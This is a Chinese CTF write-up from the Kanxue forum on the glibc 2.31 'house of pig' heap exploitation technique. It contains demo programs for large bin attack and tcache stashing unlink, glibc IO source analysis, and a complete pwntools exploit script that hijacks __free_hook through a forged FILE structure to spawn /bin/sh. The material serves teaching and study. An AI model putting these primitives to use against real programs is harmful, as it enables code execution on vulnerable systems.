house of pig详解
本文为看雪论坛优秀文章
1
libc2.31下的largebin_attack
在这里并没有进行检查,因此在libc2.31下这里就成了新的利用点。
demo文件如下:
#include<stdio.h>#include<stdlib.h>#include<assert.h> /* A revisit to large bin attack for after glibc2.30 Relevant code snippet : if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } */ int main(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0); size_t target = 0; size_t *p1 = malloc(0x428); size_t *g1 = malloc(0x18); size_t *p2 = malloc(0x418); size_t *g2 = malloc(0x18); free(p1); size_t *g3 = malloc(0x438); free(p2); p1[3] = (size_t)((&target)-4); size_t *g4 = malloc(0x438); assert((size_t)(p2-2) == target); return 0;}
在程序执行到size_t *g4 = malloc(0x438);这一句时,堆的情况如下:
接下来我们将断点下在_int_malloc函数:
由于此时largebin中已经有了一个chunk,所以对应链表头的fd和bk都被设置为了这个largebin的地址,类似于下面这样:
然后进入到插入环节:
2
tcache_stashing_unlink plus
#include <stdio.h>#include <stdlib.h>#include <inttypes.h> static uint64_t victim[4] = {0, 0, 0, 0}; int main(int argc, char **argv){ setbuf(stdout, 0); setbuf(stderr, 0); char *t1; char *s1, *s2, *pad; char *tmp; printf("You can use this technique to get a tcache chunk to arbitrary address\n"); printf("\n1. need to know heap address and the victim address that you need to attack\n"); tmp = malloc(0x1); printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", &victim, victim[0], victim[1], victim[2], victim[3]); printf("heap address: %p\n", tmp-0x260); printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n"); victim[1] = (uint64_t)(&victim); printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", victim[0], victim[1], victim[2], victim[3]); printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n"); printf("Here, I choose the size 0x60\n"); for(int i=0; i<5; i++){ t1 = calloc(1, 0x50); free(t1); } printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n", t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4); printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n"); s1 = malloc(0x420); printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1); pad = malloc(0x20); printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1); free(s1); printf("Free chunk %p to unsortedbin\n", s1); malloc(0x3c0); printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n"); malloc(0x100); printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n"); printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0); printf("Repeat the above steps, and free another chunk into corresponding smallbin\n"); printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n"); s2 = malloc(0x420); pad = malloc(0x80); free(s2); malloc(0x3c0); malloc(0x100); printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0); printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0); printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n"); printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10); *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10; printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n"); calloc(1, 0x50); printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n", &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4); printf("Apply to tcache_entry[4], you can get a pointer to victim address\n"); uint64_t *r = (uint64_t*)malloc(0x50); r[0] = 0xaa; r[1] = 0xbb; r[2] = 0xcc; r[3] = 0xdd; printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n", victim[0], victim[1], victim[2], victim[3]); return 0;}
整体思路如下:
1、tcache中放5个,smallbin中放两个。
2、将后进smallbin的chunk的bk(不破坏fd指针的情况下)修改为目标地址-0x10,同时将目标地址+0x8处的值设置为一个指向可写内存的指针。
3、从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。
依然是源码调试:将断点下在calloc(1, 0x50);这一行,以及_int_malloc。
先看看此时的内存情况:
0x60的tcache里面有五个,0x60的smallbin里面有两个。
#define last(b) ((b)->bk)
bin->bk = bck;bck->fd = bin;
满足条件,然后取出smallbin中的最后一个chunk。
bck = tc_victim->bk;//取倒数第二个smallbin,但tc_victim->bk已经被我们设置为了&victim-0x10set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena) set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;//将倒数第一个chunk解链
bck如果我们分析一样,是&victim-0x10:
之后再将tc_victim放入tcache:
放入前:
victim[1] = (uint64_t)(&victim);
3
高版本下的_IO_FILE利用
int_IO_str_overflow (FILE *fp, int c){ int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c;}
size_t new_size = 2 * old_blen + 100;size_t old_blen = _IO_blen (fp);#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
if (old_buf)//char *old_buf = fp->_IO_buf_base; { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; }
再看到_IO_str_overflow的汇编:
所以利用方法就是:首先将malloc_hook设置为setcontext+61,然后触发_IO_str_overflow,事先在我们伪造的FILE结构体中设置好相应的数据,从而将rdx赋值为我们可以控制的地址,接着_IO_str_overflow调用malloc触发setcontext,进行srop。
fp->_flags=0;//if (fp->_flags & _IO_USER_BUF) return EOF;/* not allowed to enlarge */fp->_IO_write_ptr=srop_addr/*0x0 _flags0x8 _IO_read_ptr0x10 _IO_read_end0x18 _IO_read_base0x20 _IO_write_base0x28 _IO_write_ptr 0x00007ffff7e2f0dd <+61>: mov rsp,QWORD PTR [rdx+0xa0]*/new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100);memcpy (new_buf, fp->_IO_buf_base, (fp)->_IO_buf_end - (fp)->_IO_buf_base);free (fp->_IO_buf_base);
4
house of pig
libc版本为2.31,用c++写的,0x1,修复switch tableIDA反编译,查看main函数:libc版本为2.31,用c++写的。
4.1 修复switch table
jmp rax的地址在0x3794,跳转表在0x69e0:
4.2 恢复结构体:开始分析程序
相当难看,很多对地址进行的操作,这种情况尽可能恢复程序的结构体方便后续分析,先大致分析一下这个函数的流程。
最多能申请20次,申请的chunk的大小要大于等于0x90小于等于0x430.并且每一次申请的chunk的size都要大于等于上一次所申请的。申请堆块用的是calloc函数,calloc不从tcache中取。
*(_DWORD *)(unk_9070 + 0x150LL) = v8;
如果size合法的话,就将size赋值给*(_DWORD *)(unk_9070 + 0x150LL),这个unk_9070 中存放的是mmap出来的一块内存的地址。
*(_DWORD *)(a1 + 4 * (i + 48LL)) = v8;*(_BYTE *)(a1 + i + 288) = 0;*(_BYTE *)(a1 + i + 312) = 0;
这一段寻址看的不清晰,我们修改一下这个函数传入的参数的类型。
原本是int64类型,我们将其修改为char * ,在参数上按y修改类型。
将chunk切片之后不再是从顶部写入,而是从偏移0x10处开始写。
case3对应的函数不同之处也是在这两处,就不再说了。
由add功能可以猜测,add功能传入的参数应该是一个结构体。
*(_QWORD *)&a1[8 * i] = calloc(1uLL, v8); //存储堆地址*(_DWORD *)&a1[4 * i + 0xC0] = v8; //存储chunk sizea1[i + 0x120] = 0; //意义不明a1[i + 0x138] = 0;//意义不明
*(_QWORD *)&a1[8 * v4] //判断chunk是否存在*(_DWORD *)&a1[4 * v4 + 0xC0] //判断对应的size是否存在!a1[v4 + 0x120]
依然有三个判断,和view的判断是相同的,通过判断的话就会重新往chunk中写入数据,也是先切片再写数据,和add功能中的逻辑一样。
*(_QWORD *)&a1[8 * v4]&& !a1[v4 + 0x120]&& !a1[v4 + 0x138]
初步猜测结构体应该如下所示:
struct house{ char *list[20]; int size[20]; char flag[20]; char flagg[20];};
struct house{ char *list[0x18]; int size[0x18]; char flag[0x18]; char flagg[0x18];};
右键选择insert:
让我们输入密码,调用strlen得出密码的长度,调用sub_13C9这个函数:
unsigned __int64 __fastcall sub_13C9(_DWORD *a1){ unsigned __int64 v2; // [rsp-10h] [rbp-10h] v2 = __readfsqword(0x28u); *a1 = 0; a1[1] = 0; a1[2] = 0x67452301; a1[3] = 0xEFCDAB89; a1[4] = 0x98BADCFE; a1[5] = 0x10325476; return __readfsqword(0x28u) ^ v2;}
import hashlib def main(): start = "3c4400" while True: for i in range(100000000): s='A'+str(i) #s='B'+str(i) #s='C'+str(i) print "Test %s " % s if hashlib.md5(s).hexdigest().startswith(start): f=open('list','w') f.write(s+'\n') f.close() if __name__ == '__main__': main()'''A39275120B3332073C75929410'''
case2:
struct tmp_house{ struct house peppa_house; int current_peppasize; struct house mummy_house; int current_mummysize; struct house daddy_house; int current_daddysize; int show_time; int edit_time;};
在view和edit功能中会检查第一个标志位flag是否为0,为0的情况下才能够进行相关操作;delete功能会检查flag和flagg这两个标志位是否都为0,都为0才会进行free,free之后将flag和flagg标志位置1,但并没有清空堆指针,所以这里可能会存在uaf;随后是切换角色的流程,假如我们从peppa切换到mummy。
4.4 漏洞利用
house of pig本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法
也就是我们要使2((fp)->_IO_buf_end(fp)->_IO_buf_base)+100=free_hook所在的那个tcache链的大小,并且还要修改vtable指针,vtable原本指向IO_file_jumps,将其修改为指向_IO_str_jumps。
原本应该调用 IO_file_overflow 的时候,就会转而调用如下的 IO_str_overflow,这样一来就能够进而调用malloc申请到free_hook-0x10处的空间。
这样一来就被被memcpy到free_hook-0x10处,IO_str_overflow在最后还会free掉IO_buf_base指向的chunk,这样就会触发system('/bin/sh')getshell。
Change(2)for x in xrange(5): Add(0x90, 'B'*0x28) # B0~B4 Del(x) # B0~B4#到这里0xa0的tcache中放入了5个chunkChange(1)Add(0x150, 'A'*0x68) # A0for x in xrange(7): Add(0x150, 'A'*0x68) # A1~A7 Del(1+x)Del(0)#将0x160的chunk放入到unsortedbinChange(2)Add(0xb0, 'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0#将0x160的chunk分割为0xc0和0xa0的,unsortedbin还剩下0xa0Change(1)Add(0x180, 'A'*0x78) # A8#将0xa0的unsortedbin放入smallbin,0xa0的smallbin目前有一个for x in xrange(7): Add(0x180, 'A'*0x78) # A9~A15 Del(9+x)Del(8)#将0x190的chunk翻入unsortedbinChange(2)Add(0xe0, 'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0#切割unsortedbin,unsortedbin还剩下0xa0#----- leak libc_base and heap_baseChange(1)Add(0x430, 'A'*0x158) # A16#将0xa0的unsortedbin放入到smallbin,0xa0的chunk目前有两个#至此,tcache_stashing_unlink的准备工作完成一部分
Change(1)Add(0x430, 'A'*0x158) # A16 Change(2)Add(0xf0, 'B'*0x48) # B7#B7作为A16和topchunk的隔离,防止A16被free后和topchunk合并Change(1)Del(16)#free A16,将A16放入unsortedbinChange(2)Add(0x440, 'B'*0x158) # B8#申请一个比unsortedbin更大的chunk,将unsortedbin放入largebin,则largebin中有一个0x440的chunk#由于largebin的bk和fd为libc地址,fd_nextsize和bk_nextsize为堆地址,因此可以通过这个largebin来泄露libc地址和heap地址Change(1)#切换角色,造成uafShow(16)ru('message is: ')libc_base = uu64(rl()) - 0x1ebfe0lg('libc_base')#利用uaf泄露libc地址Edit(16, 'A'*0xf+'\n')Show(16)ru('message is: '+'A'*0xf+'\n')heap_base = uu64(rl()) - 0x13940lg('heap_base')#使用edit覆盖fd和bk,泄露出heap地址
上图是将A16 free之后的情况,以及下图是此时的bins:
#----- first largebin_attackEdit(16, 2*p64(libc_base+0x1ebfe0) + '\n') # recover#将0x440的largebin的fd和bk指针恢复Add(0x430, 'A'*0x158) # A17#将largebin中的chunk申请回来Add(0x430, 'A'*0x158) # A18Add(0x430, 'A'*0x158) # A19#后续使用Change(2)Del(8)Add(0x450, 'B'*0x168) # B9#将B8 0x440的chunk放入largebinChange(1)Del(17)#将A17 0x430的chunk放入unsortedbinChange(2)free_hook = libc_base + libc.sym['__free_hook']Edit(8, p64(0) + p64(free_hook-0x28) + '\n')#修改B8的fd_nextsize和bk_nextsize,以满足largebin attack的要求 注:mummy的edit是直接从偏移0x10的位置写入,忘记了的可以看看程序Change(3)Add(0xa0, 'C'*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8#会从0x430的unsortedbin中切割0xb0的chunk之前,会先将这个0x430的chunk放到largebin上,再进行切割,切割之后会产生last remainder,再将last remainder放到unsortedbin上,在将unsortedbin放入largebin时就已经出发了largebinattack,往free_hook-0x8处写入了一个堆地址Change(2)Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover#恢复现场
pwndbg> p/x size$2 = 0x440pwndbg> p victim$3 = (mchunkptr) 0x55a1135af940 unsortedbinall: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940
取到了unsortedbin中的chunk:
切割了之前的unsortedbin,remainder产生:
流程结束,第一次largebin attack完成。
#----- second largebin_attackChange(3)Add(0x380, 'C'*0x118) # C1#将lastremainder申请回来Change(1)Del(19)#free A19,大小为0x430的chunkChange(2)IO_list_all = libc_base + libc.sym['_IO_list_all']Edit(8, p64(0) + p64(IO_list_all-0x20) + '\n')#故技重施,将largebin中的0x440的chunk的bk_nextsize修改为IO_list_all-0x20Change(3)Add(0xa0, 'C'*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all#和第三部分的一样,触发largebin_attackChange(2)Edit(8, 2*p64(heap_base+0x13e80) + '\n') # recover#恢复现场
#----- tcache_stashing_unlink_attack and FILE attackChange(1)payload = 'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)Edit(8, payload + '\n')#A8原本是0x190的chunk,然后被切割为了0xf0和0xa0的chunk,由于uaf,edit A8可以直接修改到0xa0的smallbin的fd和bk#tcache_stashing_unlink plus的利用条件就是在不修改fd的情况下将bk修改为目标地址-0x10,我们的目标地址是free_hook-0x10,因此要将bk修改为free_hook-0x20Change(3)payload = '\x00'*0x18 + p64(heap_base+0x147c0)payload = payload.ljust(0x158, '\x00')Add(0x440, payload) # C3 change fake FILE _chain#io_list_all被覆盖为了0x440的largebin的地址,我们将这个largebin申请回来,在其中设置下一个chain,并在这个chain指向的chunk中伪造IO_FILEAdd(0x90, 'C'*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache#触发tcache_stashing_unlink_attack,将free_hook-0x10链入tcache中IO_str_vtable = libc_base + 0x1ED560system_addr = libc_base + libc.sym['system']fake_IO_FILE = 2*p64(0) #根据我们前面分析的,fp->flag=0fake_IO_FILE += p64(1) #change _IO_write_base = 1fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff#满足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_basefake_IO_FILE += p64(0)fake_IO_FILE += p64(heap_base+0x148a0) #v4 _IO_buf_basefake_IO_FILE += p64(heap_base+0x148b8) #v5 _IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')fake_IO_FILE += p64(0) #change _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')fake_IO_FILE += p64(IO_str_vtable) #change vtablepayload = fake_IO_FILE + '/bin/sh\x00' + 2*p64(system_addr)sa('Gift:', payload)#使用角色三也就是daddy申请到C4时会有一个gift Menu(5)sla('user:\n', '')
new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100$2 = 0x94
根据malloc的申请规则,会申请0xa0的chunk,此时0xa0的tcache中的第一个chunk为free_hook-0x10。
因此最终会将/bin/sh拷贝到free_hook-0x10,将system拷贝到free_hook-0x8和free_hook,最终调用free则会触发system('/bin/sh')。
而 house of pig的触发条件就是调用 _IO_flush_all_lockp的条件,即需要满足如下三个之一:
当 libc 执行abort流程时。
程序显式调用 exit 。
程序能通过主函数返回。
pwndbg> p/x new_size$3 = 0x94
size和我们计算的一样,调用malloc之前。
参考链接:
house of pig一个新的堆利用详解——安全客,安全资讯平台 (anquanke.com)
新版本glibc下的IO_FILE攻击 - 安全客,安全资讯平台 (anquanke.com)
看雪ID:Lpwn
https://bbs.pediy.com/user-home-865862.htm
*本文由看雪论坛 Lpwn 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!